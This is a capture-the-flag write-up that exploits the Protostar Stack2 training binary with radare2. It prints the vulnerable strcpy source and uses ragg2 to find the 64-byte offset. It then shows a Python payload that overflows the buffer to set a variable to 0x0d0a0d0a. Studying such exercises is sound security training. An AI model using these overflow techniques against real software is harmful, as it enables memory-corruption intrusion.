Exploiting Protostar Stack2 using radare2
Exploiting Protostar Stack2
You can check previous problems here :
Problem source code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
We will work in this problem as we do not have the C source code
First we want to know more info about the binary
$ rabin2 -I stack2
arch x86
binsz 23350
bintype elf
bits 32
canary false
class ELF32
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx false
os linux
pcalign 0
pic false
relocs true
relro no
rpath NONE
static false
stripped false
subsys linux
va true
As you can clearly see, our binary is a 32bit ELF file, not stripped, the file isn’t protected with canaries , pic, nx or relro.
Let’s run the app and see it working
$ ./stack2
stack2: please set the GREENIE environment variable
$ GREENIE=AAAAA..AAA ./stack2
Try again, you got 0x00000000
$ GREENIE=AAAAAAAAA..AAAAAAAAAAAAAAAA ./stack2
Try again, you got 0x41414141
[1] 8754 segmentation fault (core dumped) GREENIE= ./stack2
Let’s have a look on what’s happening inside the app
We will start the app inside Radare2 and have a look in Visual Mode to try understanding how it’s working
$ r2 -d stack2
Process with PID 10188 started...
= attach 10188 10188
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> aas
[0xb7fdba30]> dcu main
Continue until 0x08048494 using 1 bpsize
hit breakpoint at: 8048494
[0x08048494]> VV
.--------------------------------.
| 0x80484c8 ;[gb] |
| mov dword [local_58h], 0 |
| ; [0x5c:4]=-1 |
| ; '\' |
| ; 92 |
| mov eax, dword [local_5ch] |
| mov dword [local_4h], eax |
| ; 0x18 |
| ; 24 |
| lea eax, dword [local_18h] |
| mov dword [esp], eax |
| call sym.imp.strcpy;[gf] |
| ; [0x58:4]=-1 |
| ; 'X' |
| ; 88 |
| mov eax, dword [local_58h] |
| cmp eax, 0xd0a0d0a |
| jne 0x80484fd;[gg] |
`--------------------------------'
So this is the key line cmp eax, 0xd0a0d0a
, so our main Goal is to override $eax
with 0xd0a0d0a
Now we’ll use a tool in radare’s framework called ragg2
, which allows us to generate a cyclic pattern called De Bruijn Sequence and check the exact offset where our payload overrides the buffer.
$ printf "GREENIE=" > env.txt; ragg2 -P 100 -r >> env.txt; printf "\n" >> env.txt;
$ cat env.txt
GREENIE=AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
$ vim r2profile.rr2
$ cat r2profile.rr2
#!/usr/bin/rarun2
envfile=./env.txt
$ r2 -d stack2 -e dbg.profile=r2profile.rr2
Process with PID 31242 started...
= attach 31242 31242
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> aas
[0xb7fdba30]> dcu main
Continue until 0x08048494 using 1 bpsize
hit breakpoint at: 8048494
[0x08048494]> V
In visual mode you can move step by step using S
until you reach the line before cmp eax, 0xd0a0d0a
[0x080484d8]> wopO eax
64
Now let’s rewrite our payload and exploit the binary ** Notice that we are working with a little indean so 0xd0a0d0a
will be \x0a\x0d\x0a\x0d
(Reversed)
$ printf "GREENIE=" > env.txt; python -c 'print "A" * 64 + "\x0a\x0d\x0a\x0d" + "B" * 20' >> env.txt; printf "\n" >> env.txt;
Oops, it did not work with a file because \x0a
is \n
in ascii so it’s not working with env :(
$ GREENIE=`python -c 'print "A" * 64 + "\x0a\x0d\x0a\x0d" + "B" * 20'`
$ export GREENIE
$ r2 -d stack2
Process with PID 2357 started...
= attach 2357 2357
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0x08048494]> dc
you have correctly modified the variable
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 ret=0
And we did it ;)